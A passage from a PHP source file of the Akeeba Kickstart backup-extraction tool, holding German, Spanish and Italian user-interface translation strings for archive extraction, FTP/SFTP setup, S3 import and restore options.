  'BTN_TESTSFTPCON' => 'SFTP-Verbindung testen',
  'BTN_GOTOSTART' => 'Von vorne beginnen',
  'BTN_RETRY' => 'Wiederholen',
  'FINE_TUNE' => 'Feineinstellungen',
  'MIN_EXEC_TIME' => 'Minimale Ausführungszeit:',
  'MAX_EXEC_TIME' => 'Maximale Ausführungszeit:',
  'SECONDS_PER_STEP' => 'Sekunden pro Schritt',
  'EXTRACT_FILES' => 'Dateien extrahieren',
  'BTN_START' => 'Starten',
  'EXTRACTING' => 'Extrahieren',
  'DO_NOT_CLOSE_EXTRACT' => 'Schließen Sie dieses Fenster während der Extraktion nicht',
  'RESTACLEANUP' => 'Wiederherstellung und Bereinigung',
  'BTN_RUNINSTALLER' => 'Installationsprogramm ausführen',
  'BTN_CLEANUP' => 'Bereinigen',
  'BTN_SITEFE' => 'Website-Oberfläche besuchen',
  'BTN_SITEBE' => 'Website-Backend besuchen',
  'WARNINGS' => 'Extraktionswarnungen',
  'ERROR_OCCURED' => 'Ein Fehler ist aufgetreten',
  'STEALTH_MODE' => 'Tarnkappenmodus',
  'STEALTH_URL' => 'HTML-Datei, die Websitzern angezeigt werden soll',
  'ERR_NOT_A_JPS_FILE' => 'Die Datei ist kein JPS-Archiv',
  'ERR_INVALID_JPS_PASSWORD' => 'Das von Ihnen eingegebene Passwort ist falsch oder das Archiv ist beschädigt',
  'JPS_PASSWORD' => 'Archivpasswort (für JPS-Dateien)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Die Datei %s konnte nicht zum Lesen geöffnet werden. Dies ist Teil #%d Ihres Sicherungsarchivs, das aus mehreren Dateien besteht (Dateien mit demselben Namen und den Erweiterungen .%s, .%s01, .%4$s02…). Bitte stellen Sie sicher, dass sich alle diese Dateien im selben Verzeichnis wie Kickstart befinden.',
  'INVALID_FILE_HEADER' => 'Ungültiger Header in der Archivdatei, Teil %s, Offset %s. Bitte laden Sie <em>und</em> laden Sie Sicherungsarchivdateien über SFTP oder FTP im Binärübertragungsmodus hoch und überprüfen Sie, dass ihre Dateigröße mit den auf der Seite „Sicherungen verwalten" in Akeeba Backup / Akeeba Solo angegebenen Größen übereinstimmt.',
  'INVALID_FILE_HEADER_MULTIPART' => 'Ungültiger Header in der Archivdatei, Teil %s, Offset %s. Ihr Sicherungsarchiv besteht aus mehreren Dateien (Dateien mit demselben Namen und den Erweiterungen .%s, .%s01, .%4$s02…). Entweder fehlen einige Dateien, oder sie sind beschädigt oder abgeschnitten. Alle diese Dateien müssen im selben Verzeichnis vorhanden sein. Bitte laden Sie <em>und</em> laden Sie Sicherungsarchivdateien über SFTP oder FTP im Binärübertragungsmodus hoch und überprüfen Sie, dass ihre Dateigröße mit den auf der Seite „Sicherungen verwalten" in Akeeba Backup / Akeeba Solo angegebenen Größen übereinstimmt.',
  'UPDATE_HEADER' => 'Eine aktualisierte Version von Akeeba Kickstart (<span id=update-version>unbekannt</span>) ist verfügbar!',
  'UPDATE_NOTICE' => 'Es wird empfohlen, immer die neueste verfügbare Version von Akeeba Kickstart zu verwenden. Ältere Versionen können Fehler enthalten und werden nicht unterstützt.',
  'UPDATE_DLNOW' => 'Jetzt herunterladen',
  'UPDATE_MOREINFO' => 'Weitere Informationen',
  'NEEDSOMEHELPKS' => 'Brauchen Sie Hilfe bei der Verwendung dieses Tools? Lesen Sie zuerst dies:',
  'QUICKSTART' => 'Schnellstartanleitung',
  'CANTGETITTOWORK' => 'Funktioniert es nicht? Hier klicken!',
  'NOARCHIVESCLICKHERE' => 'Keine Archive erkannt. Hier klicken für Fehlerbehebungsanweisungen.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Nach der Wiederherstellung funktioniert etwas nicht? Hier klicken für Fehlerbehebungsanweisungen.',
  'IGNORE_MOST_ERRORS' => 'Die meisten Fehler ignorieren',
  'TIME_SETTINGS_HELP' => 'Erhöhen Sie das Minimum auf 3, wenn Sie AJAX-Fehler erhalten. Erhöhen Sie das Maximum auf 10 für eine schnellere Extraktion, verringern Sie es auf 5, wenn Sie AJAX-Fehler erhalten. Versuchen Sie Minimum 5, Maximum 1 (kein Tippfehler!), wenn Sie weiterhin AJAX-Fehler erhalten.',
  'STEALTH_MODE_HELP' => 'Wenn aktiviert, können nur Besucher von Ihrer IP-Adresse die Website bis zum Abschluss der Wiederherstellung sehen. Alle anderen werden zur oben genannten URL weitergeleitet und sehen nur diese. Ihr Server muss die echte IP des Besuchers erkennen (dies wird von Ihrem Host, nicht von Ihnen oder uns, gesteuert).',
  'RENAME_FILES_HELP' => 'Benennt .htaccess, web.config, php.ini und .user.ini im Archiv beim Extrahieren um. Die Dateien erhalten die Erweiterung .bak. Die Dateinamen werden beim Klicken auf „Bereinigen" wiederhergestellt.',
  'RESTORE_PERMISSIONS_HELP' => 'Wendet die beim Sichern gespeicherten Dateiberechtigungen (aber NICHT den Datei-Besitz) an. Funktioniert nur mit JPA- und JPS-Archiven. Funktioniert nicht unter Windows (PHP bietet diese Funktion nicht an).',
  'EXTRACT_LIST' => 'Zu extrahierende Dateien',
  'EXTRACT_LIST_HELP' => 'Geben Sie in jeder Zeile einen Dateipfad wie <code>images/cat.png</code> oder ein Shell-Muster wie <code>images/*.png</code> ein. Nur die mit dieser Liste übereinstimmenden Dateien werden auf die Festplatte geschrieben. Leer lassen, um alles zu extrahieren (Standard).',
  'AKS3_IMPORT' => 'Von Amazon S3 importieren',
  'AKS3_TITLE_STEP1' => 'Verbindung zu Amazon S3 herstellen',
  'AKS3_ACCESS' => 'Zugriffsschlüssel',
  'AKS3_SECRET' => 'Geheimschlüssel',
  'AKS3_CONNECT' => 'Verbindung zu Amazon S3 herstellen',
  'AKS3_CANCEL' => 'Import abbrechen',
  'AKS3_TITLE_STEP2' => 'Amazon S3-Bucket auswählen',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'Inhalt auflisten',
  'AKS3_TITLE_STEP3' => 'Archiv zum Importieren auswählen',
  'AKS3_FOLDERS' => 'Ordner',
  'AKS3_FILES' => 'Archivdateien',
  'AKS3_TITLE_STEP4' => 'Importiert…',
  'AKS3_DO_NOT_CLOSE' => 'Bitte schließen Sie dieses Fenster nicht, während Ihre Sicherungsarchive importiert werden',
  'AKS3_TITLE_STEP5' => 'Import abgeschlossen',
  'AKS3_BTN_RELOAD' => 'Kickstart neu laden',
  'WRONG_FTP_PATH2' => 'Falsches FTP-Startverzeichnis – das Verzeichnis entspricht nicht dem Web-Stammverzeichnis Ihrer Website',
  'ARCHIVE_DIRECTORY' => 'Archivverzeichnis:',
  'RELOAD_ARCHIVES' => 'Neu laden',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'SFTP-Verzeichnisbrowser',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Archivteil-Datei %s konnte nicht zum Lesen geöffnet werden. Überprüfen Sie, ob die Datei existiert, vom Webserver lesbar ist und sich nicht in einem durch chroot-, open_basedir-Einschränkungen oder andere vom Host gesetzte Einschränkungen unzugänglichen Verzeichnis befindet.',
  'RENAME_FILES' => 'Server-Konfigurationsdateien vor der Extraktion umbenennen',
  'BTN_SHOW_FINE_TUNE' => 'Erweiterte Optionen anzeigen (für Experten)',
  'RESTORE_PERMISSIONS' => 'Dateiberechtigungen wiederherstellen',
  'ZAPBEFORE' => 'Vor der Extraktion alles löschen',
  'ZAPBEFORE_HELP' => 'Versucht, alle vorhandenen Dateien und Ordner unter dem Verzeichnis, in dem Kickstart gespeichert ist, vor dem Entpacken des Sicherungsarchivs zu löschen. Es wird NICHT berücksichtigt, welche Dateien und Ordner im Sicherungsarchiv vorhanden sind. Dateien und Ordner, die durch diese Funktion gelöscht werden, Können NICHT wiederhergestellt werden. <strong>WARNUNG! DIES KÖNNTE DATEIEN UND ORNER LÖSCHEN, DIE NICHT ZU IHRER WEBSITE GEHÖREN. MIT EXTREMER VORSICHT VERWENDEN. DURCH DAS AKTIVIEREN DIESER FUNKTION ÜBERNEHMEN SIE DIE VOLLE VERANTWORTUNG UND HAFTUNG.</strong>',
);

	/**
	 * Translation strings for es-ES
	 *
	 * @var  array
	 */
	private $translation_es_es = array (
  'AUTOMODEON' => 'Modo automático activado',
  'ERR_NOT_A_JPA_FILE' => 'El archivo no es un archivo JPA',
  'ERR_CORRUPT_ARCHIVE' => 'El archivo de archivo está corrupto, truncado o faltan partes del archivo',
  'ERR_INVALID_ARCHIVE_LONG' => 'El archivo de archivo parece estar corrupto o faltan partes del archivo. Si sus copias de seguridad consisten en varios archivos, asegúrese de haber descargado todos los archivos de parte del archivo (archivos con el mismo nombre y extensiones .%s, .%s01, .%2$s02…). Asegúrese de descargar <em>y</em> cargar archivos usando SFTP, o FTP en modo de transferencia binaria y compruebe que su tamaño coincide con los tamaños reportados en la página Gestionar copias de seguridad de Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Inicio de sesión no válido',
  'COULDNT_CREATE_DIR' => 'No se pudo crear la carpeta %s',
  'COULDNT_WRITE_FILE' => 'No se pudo abrir %s para escritura.',
  'WRONG_FTP_HOST' => 'Host o puerto FTP incorrecto',
  'WRONG_FTP_USER' => 'Nombre de usuario o contraseña FTP incorrectos',
  'WRONG_FTP_PATH1' => 'Directorio inicial FTP incorrecto: el directorio no existe',
  'FTP_CANT_CREATE_DIR' => 'No se pudo crear el directorio %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'No se pudo encontrar o crear un directorio temporal con permiso de escritura',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'No se pudo encontrar o crear un directorio temporal con permiso de escritura',
  'FTP_COULDNT_UPLOAD' => 'No se pudo cargar %s',
  'THINGS_HEADER' => 'Aspectos que debe conocer sobre Akeeba Kickstart',
  'THINGS_01' => 'Kickstart no es un instalador. Es una herramienta de extracción de archivos. El instalador real se incluyó dentro del archivo en el momento de la copia de seguridad.',
  'THINGS_03' => 'Kickstart está limitado por la configuración de su servidor. Como tal, es posible que no funcione en absoluto.',
  'THINGS_04' => 'Debe descargar y cargar sus archivos de archivo usando FTP en modo de transferencia binaria. Cualquier otro método podría provocar un archivo de copia de seguridad corrupto y un fallo en la restauración.',
  'THINGS_05' => 'Los errores de carga del sitio después de la restauración suelen ser causados por directivas de .htaccess o php.ini. Debe comprender que las páginas en blanco, los errores 404 y 500 suelen poder resolverse editando los archivos mencionados anteriormente. No es nuestra tarea modificar sus archivos de configuración, ya que esto podría ser peligroso para su sitio.',
  'THINGS_06' => 'Kickstart sobrescribe archivos sin previo aviso. Si no está seguro de que le parece bien, no continúe.',
  'THINGS_07' => 'Intentar restaurar en la URL temporal de un host de cPanel (por ejemplo, http://1.2.3.4/~usuario) provocará un fallo en la restauración y su sitio parecerá no funcionar. Esto es normal y se debe a cómo funcionan su servidor y el software del CMS.',
  'THINGS_08' => 'Debe leer la documentación antes de usar este software. La mayoría de los problemas se pueden evitar, o resolver fácilmente, comprendiendo cómo funciona este software.',
  'THINGS_09' => 'Este texto no implica que se haya detectado un problema. Es un texto estándar que se muestra cada vez que inicia Kickstart.',
  'CLOSE_LIGHTBOX' => 'Haga clic aquí o pulse ESC para cerrar este mensaje',
  'SELECT_ARCHIVE' => 'Seleccionar un archivo de copia de seguridad',
  'ARCHIVE_FILE' => 'Archivo de archivo:',
  'SELECT_EXTRACTION' => 'Seleccionar un método de extracción',
  'WRITE_TO_FILES' => 'Escribir en archivos:',
  'WRITE_HYBRID' => 'Híbrido (usar FTP solo si es necesario)',
  'WRITE_DIRECTLY' => 'Directamente',
  'WRITE_FTP' => 'Usar FTP para todos los archivos',
  'WRITE_SFTP' => 'Usar SFTP para todos los archivos',
  'FTP_HOST' => 'Nombre de host (S)FTP:',
  'FTP_PORT' => 'Puerto (S)FTP:',
  'FTP_FTPS' => 'Usar FTP sobre SSL (FTPS)',
  'FTP_PASSIVE' => 'Usar el modo pasivo de FTP',
  'FTP_USER' => 'Nombre de usuario (S)FTP:',
  'FTP_PASS' => 'Contraseña (S)FTP:',
  'FTP_DIR' => 'Directorio (S)FTP:',
  'FTP_TEMPDIR' => 'Directorio temporal:',
  'FTP_CONNECTION_OK' => 'Conexión FTP establecida',
  'SFTP_CONNECTION_OK' => 'Conexión SFTP establecida',
  'FTP_CONNECTION_FAILURE' => 'La conexión FTP falló',
  'SFTP_CONNECTION_FAILURE' => 'La conexión SFTP falló',
  'FTP_TEMPDIR_WRITABLE' => 'El directorio temporal tiene permiso de escritura.',
  'FTP_TEMPDIR_UNWRITABLE' => 'El directorio temporal no tiene permiso de escritura. Compruebe los permisos.',
  'FTP_BROWSE' => 'Examinar',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Haga clic en un directorio para navegar en él. Haga clic en Aceptar para seleccionar ese directorio, o Cancelar para abortar el procedimiento.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Host o puerto FTP no válido',
  'FTPBROWSER_ERROR_USERPASS' => 'Nombre de usuario o contraseña FTP no válidos',
  'FTPBROWSER_ERROR_NOACCESS' => 'El directorio no existe o no tiene suficientes permisos para acceder a él',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Lo sentimos, su servidor FTP no admite nuestro explorador de directorios FTP.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;subir un nivel&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Se produjo un error',
  'SFTP_NO_SSH2' => 'Su servidor web no tiene el módulo PHP SSH2, por lo tanto no puede conectarse a servidores SFTP.',
  'SFTP_NO_FTP_SUPPORT' => 'Su servidor SSH no permite conexiones SFTP',
  'SFTP_WRONG_USER' => 'Nombre de usuario o contraseña SFTP incorrectos',
  'SFTP_WRONG_STARTING_DIR' => 'Debe proporcionar una ruta absoluta válida',
  'SFTPBROWSER_ERROR_NOACCESS' => 'El directorio no existe o no tiene suficientes permisos para acceder a él',
  'SFTP_COULDNT_UPLOAD' => 'No se pudo cargar %s',
  'SFTP_CANT_CREATE_DIR' => 'No se pudo crear el directorio %s',
  'UI-ROOT' => '&lt;raíz&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'Explorador de directorios FTP',
  'BTN_CHECK' => 'Comprobar',
  'BTN_RESET' => 'Restablecer',
  'BTN_TESTFTPCON' => 'Probar conexión FTP',
  'BTN_TESTSFTPCON' => 'Probar conexión SFTP',
  'BTN_GOTOSTART' => 'Empezar de nuevo',
  'BTN_RETRY' => 'Reintentar',
  'FINE_TUNE' => 'Ajuste fino',
  'MIN_EXEC_TIME' => 'Tiempo mínimo de ejecución:',
  'MAX_EXEC_TIME' => 'Tiempo máximo de ejecución:',
  'SECONDS_PER_STEP' => 'segundos por paso',
  'EXTRACT_FILES' => 'Extraer archivos',
  'BTN_START' => 'Iniciar',
  'EXTRACTING' => 'Extrayendo',
  'DO_NOT_CLOSE_EXTRACT' => 'No cierre esta ventana mientras la extracción esté en curso',
  'RESTACLEANUP' => 'Restauración y limpieza',
  'BTN_RUNINSTALLER' => 'Ejecutar el instalador',
  'BTN_CLEANUP' => 'Limpiar',
  'BTN_SITEFE' => 'Visitar la parte frontal de su sitio',
  'BTN_SITEBE' => 'Visitar la parte trasera de su sitio',
  'WARNINGS' => 'Advertencias de extracción',
  'ERROR_OCCURED' => 'Se produjo un error',
  'STEALTH_MODE' => 'Modo sigiloso',
  'STEALTH_URL' => 'Archivo HTML que se mostrará a los visitantes web',
  'ERR_NOT_A_JPS_FILE' => 'El archivo no es un archivo JPS',
  'ERR_INVALID_JPS_PASSWORD' => 'La contraseña que proporcionó es incorrecta o el archivo está corrupto',
  'JPS_PASSWORD' => 'Contraseña del archivo (para archivos JPS)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'No se puede abrir el archivo %s para lectura. Esta es la parte nº %d de su archivo de copia de seguridad, que consiste en varios archivos (archivos con el mismo nombre y extensiones .%s, .%s01, .%4$s02…). Asegúrese de tener todos estos archivos en la misma carpeta que Kickstart.',
  'INVALID_FILE_HEADER' => 'Encabezado no válido en el archivo de archivo, parte %s, desplazamiento %s. Asegúrese de descargar <em>y</em> cargar archivos de copia de seguridad usando SFTP, o FTP en modo de transferencia binaria y compruebe que su tamaño coincide con los tamaños reportados en la página Gestionar copias de seguridad de Akeeba Backup / Akeeba Solo.',
  'INVALID_FILE_HEADER_MULTIPART' => 'Encabezado no válido en el archivo de archivo, parte %s, desplazamiento %s. Su archivo de copia de seguridad consiste en varios archivos (archivos con el mismo nombre y extensiones .%s, .%s01, .%4$s02…). Algunos archivos pueden faltar, o estar corruptos o truncados. Necesitará que todos estos archivos estén presentes en el mismo directorio. Asegúrese de descargar <em>y</em> cargar archivos de copia de seguridad usando SFTP, o FTP en modo de transferencia binaria y compruebe que su tamaño coincide con los tamaños reportados en la página Gestionar copias de seguridad de Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => '¡Hay una versión actualizada de Akeeba Kickstart (<span id=update-version>desconocida</span>) disponible!',
  'UPDATE_NOTICE' => 'Se le recomienda utilizar siempre la última versión disponible de Akeeba Kickstart. Las versiones anteriores pueden tener errores y no recibirán soporte.',
  'UPDATE_DLNOW' => 'Descargar ahora',
  'UPDATE_MOREINFO' => 'Más información',
  'NEEDSOMEHELPKS' => '¿Necesita ayuda para usar esta herramienta? Lea esto primero:',
  'QUICKSTART' => 'Guía de inicio rápido',
  'CANTGETITTOWORK' => '¿No consigue que funcione? ¡Haga clic aquí!',
  'NOARCHIVESCLICKHERE' => 'No se han detectado archivos. Haga clic aquí para obtener instrucciones de solución de problemas.',
  'POSTRESTORATIONTROUBLESHOOTING' => '¿Algo no funciona después de la restauración? Haga clic aquí para obtener instrucciones de solución de problemas.',
  'IGNORE_MOST_ERRORS' => 'Ignorar la mayoría de los errores',
  'TIME_SETTINGS_HELP' => 'Aumente el mínimo a 3 si obtiene errores de AJAX. Aumente el máximo a 10 para una extracción más rápida, disminúyalo a 5 si obtiene errores de AJAX. Pruebe con mínimo 5, máximo 1 (no es un error tipográfico) si sigue obteniendo errores de AJAX.',
  'STEALTH_MODE_HELP' => 'Cuando está activado, solo los visitantes desde su dirección IP podrán ver el sitio hasta que se complete la restauración. Todos los demás serán redirigidos a la URL anterior y solo verán esa página. Su servidor debe ver la IP real del visitante (esto está controlado por su proveedor de alojamiento, no por usted ni por nosotros).',
  'RENAME_FILES_HELP' => 'Renombra los archivos .htaccess, web.config, php.ini y .user.ini contenidos en el archivo durante la extracción. Los archivos se renombran con una extensión .bak. Los nombres de archivo se restauran cuando hace clic en Limpiar.',
  'RESTORE_PERMISSIONS_HELP' => 'Aplica los permisos de archivo (pero NO la propiedad del archivo) que se almacenaron en el momento de la copia de seguridad. Solo funciona con archivos JPA y JPS. No funciona en Windows (PHP no ofrece esta funcionalidad).',
  'EXTRACT_LIST' => 'Archivos a extraer',
  'EXTRACT_LIST_HELP' => 'Introduzca una ruta de archivo como <code>images/cat.png</code> o un patrón de shell como <code>images/*.png</code> en cada línea. Solo los archivos que coincidan con esta lista se escribirán en el disco. Déjelo vacío para extraer todo (predeterminado).',
  'AKS3_IMPORT' => 'Importar desde Amazon S3',
  'AKS3_TITLE_STEP1' => 'Conectar a Amazon S3',
  'AKS3_ACCESS' => 'Clave de acceso',
  'AKS3_SECRET' => 'Clave secreta',
  'AKS3_CONNECT' => 'Conectar a Amazon S3',
  'AKS3_CANCEL' => 'Cancelar importación',
  'AKS3_TITLE_STEP2' => 'Seleccionar su bucket de Amazon S3',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'Mostrar contenido',
  'AKS3_TITLE_STEP3' => 'Seleccionar archivo para importar',
  'AKS3_FOLDERS' => 'Carpetas',
  'AKS3_FILES' => 'Archivos de archivo',
  'AKS3_TITLE_STEP4' => 'Importando...',
  'AKS3_DO_NOT_CLOSE' => 'Por favor, no cierre esta ventana mientras se están importando sus archivos de copia de seguridad',
  'AKS3_TITLE_STEP5' => 'La importación se ha completado',
  'AKS3_BTN_RELOAD' => 'Recargar Kickstart',
  'WRONG_FTP_PATH2' => 'Directorio inicial FTP incorrecto: el directorio no corresponde con la raíz web de su sitio',
  'ARCHIVE_DIRECTORY' => 'Directorio de archivos:',
  'RELOAD_ARCHIVES' => 'Recargar',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'Explorador de directorios SFTP',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'No se pudo abrir el archivo de parte del archivo %s para lectura. Compruebe que el archivo existe, es legible por el servidor web y no se encuentra en un directorio inaccesible debido a chroot, restricciones open_basedir o cualquier otra restricción impuesta por su proveedor de alojamiento.',
  'RENAME_FILES' => 'Renombrar archivos de configuración del servidor antes de la extracción',
  'BTN_SHOW_FINE_TUNE' => 'Mostrar opciones avanzadas (para expertos)',
  'RESTORE_PERMISSIONS' => 'Restaurar permisos de archivo',
  'ZAPBEFORE' => 'Eliminar todo antes de la extracción',
  'ZAPBEFORE_HELP' => 'Intenta eliminar todos los archivos y carpetas existentes bajo el directorio donde se almacena Kickstart antes de extraer el archivo de copia de seguridad. NO tiene en cuenta qué archivos y carpetas existen en el archivo de copia de seguridad. Los archivos y carpetas eliminados por esta función NO SE PUEDEN recuperar. <strong>¡ADVERTENCIA! ESTO PUEDE ELIMINAR ARCHIVOS Y CARPETAS QUE NO PERTENECEN A SU SITIO. USE CON EXTREMA PRECAUCIÓN. AL ACTIVAR ESTA FUNCIÓN USTED Asume TODA LA RESPONSABILIDAD.</strong>',
);

	/**
	 * Translation strings for it-IT
	 *
	 * @var  array
	 */
	private $translation_it_it = array (
  'AUTOMODEON' => 'Modalità automatica attivata',
  'ERR_NOT_A_JPA_FILE' => 'Il file non è un archivio JPA',
  'ERR_CORRUPT_ARCHIVE' => 'Il file di archivio è corrotto, troncato o mancano parti dell\'archivio',
  'ERR_INVALID_ARCHIVE_LONG' => 'Il file di archivio sembra essere corrotto, o mancano parti dell\'archivio. Se i tuoi backup sono composti da più file, assicurati di aver scaricato tutti i file delle parti dell\'archivio (file con lo stesso nome ed estensioni .%s, .%s01, .%2$s02…). Assicurati di scaricare <em>e</em> caricare i file usando SFTP, o FTP in modalità di trasferimento Binario e verifica che le loro dimensioni corrispondano a quelle riportate nella pagina Gestione Backup di Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Accesso non valido',
  'COULDNT_CREATE_DIR' => 'Impossibile creare la cartella %s',
  'COULDNT_WRITE_FILE' => 'Impossibile aprire %s per la scrittura.',
  'WRONG_FTP_HOST' => 'Host o porta FTP errati',
  'WRONG_FTP_USER' => 'Nome utente o password FTP errati',
  'WRONG_FTP_PATH1' => 'Directory iniziale FTP errata - la directory non esiste',
  'FTP_CANT_CREATE_DIR' => 'Impossibile creare la directory %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Impossibile trovare o creare una directory temporanea scrivibile',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Impossibile trovare o creare una directory temporanea scrivibile',
  'FTP_COULDNT_UPLOAD' => 'Impossibile caricare %s',
  'THINGS_HEADER' => 'Cose che dovresti sapere su Akeeba Kickstart',
  'THINGS_01' => 'Kickstart non è un programma di installazione. È uno strumento di estrazione degli archivi. Il programma di installazione effettivo è stato inserito nel file di archivio al momento del backup.',
  'THINGS_03' => 'Kickstart è limitato dalla configurazione del tuo server. Come tale, potrebbe non funzionare affatto.',
  'THINGS_04' => 'Dovresti scaricare e caricare i file di archivio usando FTP in modalità di trasferimento Binario. Qualsiasi altro metodo potrebbe portare a un archivio di backup corrotto e al fallimento del ripristino.',
  'THINGS_05' => 'Gli errori di caricamento del sito dopo il ripristino sono generalmente causati da direttive .htaccess o php.ini. Dovresti capire che le pagine bianche, gli errori 404 e 500 possono di solito essere risolti modificando i suddetti file. Non è il nostro compito modificare i tuoi file di configurazione, perché questo potrebbe essere pericoloso per il tuo sito.',
  'THINGS_06' => 'Kickstart sovrascrive i file senza preavviso. Se non sei sicuro che vada bene, non continuare.',
  'THINGS_07' => 'Tentare di ripristinare sull\'URL temporaneo di un host cPanel (es. http://1.2.3.4/~username) porterà al fallimento del ripristino e il tuo sito sembrerà non funzionare. Questo è normale ed è semplicemente il modo in cui il tuo server e il software CMS funzionano.',
  'THINGS_08' => 'Dovresti leggere la documentazione prima di usare questo software. La maggior parte dei problemi può essere evitata, o facilmente risolta, capendo come funziona questo software.',
  'THINGS_09' => 'Questo testo non implica che sia stato rilevato un problema. È un testo standard visualizzato ogni volta che avvii Kickstart.',
  'CLOSE_LIGHTBOX' => 'Clicca qui o premi ESC per chiudere questo messaggio',
  'SELECT_ARCHIVE' => 'Seleziona un archivio di backup',
  'ARCHIVE_FILE' => 'File di archivio:',
  'SELECT_EXTRACTION' => 'Seleziona un metodo di estrazione',
  'WRITE_TO_FILES' => 'Scrittura su file:',
  'WRITE_HYBRID' => 'Ibrido (usa FTP solo se necessario)',
  'WRITE_DIRECTLY' => 'Direttamente',
  'WRITE_FTP' => 'Usa FTP per tutti i file',
  'WRITE_SFTP' => 'Usa SFTP per tutti i file',
  'FTP_HOST' => 'Nome host (S)FTP:',
  'FTP_PORT' => 'Porta (S)FTP:',
  'FTP_FTPS' => 'Usa FTP su SSL (FTPS)',
  'FTP_PASSIVE' => 'Usa la modalità passiva FTP',
  'FTP_USER' => 'Nome utente (S)FTP:',
  'FTP_PASS' => 'Password (S)FTP:',
  'FTP_DIR' => 'Directory (S)FTP:',
  'FTP_TEMPDIR' => 'Directory temporanea:',
  'FTP_CONNECTION_OK' => 'Connessione FTP stabilita',
  'SFTP_CONNECTION_OK' => 'Connessione SFTP stabilita',
  'FTP_CONNECTION_FAILURE' => 'La connessione FTP è fallita',
  'SFTP_CONNECTION_FAILURE' => 'La connessione SFTP è fallita',
  'FTP_TEMPDIR_WRITABLE' => 'La directory temporanea è scrivibile.',
  'FTP_TEMPDIR_UNWRITABLE' => 'La directory temporanea non è scrivibile. Verifica le autorizzazioni.',
  'FTP_BROWSE' => 'Sfoglia',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Clicca su una directory per navigare al suo interno. Clicca su OK per selezionare quella directory, Annulla per interrompere la procedura.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Host o porta FTP non validi',
  'FTPBROWSER_ERROR_USERPASS' => 'Nome utente o password FTP non validi',
  'FTPBROWSER_ERROR_NOACCESS' => 'La directory non esiste o non hai autorizzazioni sufficienti per accedervi',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Spiacenti, il tuo server FTP non supporta il nostro browser di directory FTP.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;su di un livello&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Si è verificato un errore',
  'SFTP_NO_SSH2' => 'Il tuo server web non dispone del modulo PHP SSH2, quindi non può connettersi ai server SFTP.',
  'SFTP_NO_FTP_SUPPORT' => 'Il tuo server SSH non consente connessioni SFTP',
  'SFTP_WRONG_USER' => 'Nome utente o password SFTP errati',
  'SFTP_WRONG_STARTING_DIR' => 'Devi fornire un percorso assoluto valido',
  'SFTPBROWSER_ERROR_NOACCESS' => 'La directory non esiste o non hai autorizzazioni sufficienti per accedervi',
  'SFTP_COULDNT_UPLOAD' => 'Impossibile caricare %s',
  'SFTP_CANT_CREATE_DIR' => 'Impossibile creare la directory %s',
  'UI-ROOT' => '&lt;root&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'Browser di directory FTP',
  'BTN_CHECK' => 'Verifica',
  'BTN_RESET' => 'Reimposta',
  'BTN_TESTFTPCON' => 'Testa la connessione FTP',
  'BTN_TESTSFTPCON' => 'Testa la connessione SFTP',
  'BTN_GOTOSTART' => 'Ricomincia',
  'BTN_RETRY' => 'Riprova',
  'FINE_TUNE' => 'Regola in dettaglio',
  'MIN_EXEC_TIME' => 'Tempo minimo di esecuzione:',
  'MAX_EXEC_TIME' => 'Tempo massimo di esecuzione:',
  'SECONDS_PER_STEP' => 'secondi per passaggio',
  'EXTRACT_FILES' => 'Estrai file',
  'BTN_START' => 'Avvia',
  'EXTRACTING' => 'Estrazione in corso',
  'DO_NOT_CLOSE_EXTRACT' => 'Non chiudere questa finestra mentre l\'estrazione è in corso',
  'RESTACLEANUP' => 'Ripristino e pulizia',
  'BTN_RUNINSTALLER' => 'Esegui il programma di installazione',
  'BTN_CLEANUP' => 'Pulisci',
  'BTN_SITEFE' => 'Visita il frontend del tuo sito',
  'BTN_SITEBE' => 'Visita il backend del tuo sito',
  'WARNINGS' => 'Avvisi di estrazione',
  'ERROR_OCCURED' => 'Si è verificato un errore',
  'STEALTH_MODE' => 'Modalità stealth',
  'STEALTH_URL' => 'File HTML da mostrare ai visitatori web',
  'ERR_NOT_A_JPS_FILE' => 'Il file non è un archivio JPS',
  'ERR_INVALID_JPS_PASSWORD' => 'La password inserita è errata o l\'archivio è corrotto',
  'JPS_PASSWORD' => 'Password dell\'archivio (per file JPS)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Impossibile aprire il file %s per la lettura. Questa è la parte #%d del tuo archivio di backup che è composto da più file (file con lo stesso nome ed estensioni .%s, .%s01, .%4$s02…). Assicurati di avere tutti questi file nella stessa cartella di Kickstart.',
  'INVALID_FILE_HEADER' => 'Intestazione non valida nel file di archivio, parte %s, offset %s. Assicurati di scaricare <em>e</em> caricare i file di archivio di backup usando SFTP, o FTP in modalità di trasferimento Binario e verifica che le loro dimensioni corrispondano a quelle riportate nella pagina Gestione Backup di Akeeba Backup / Akeeba Solo.',
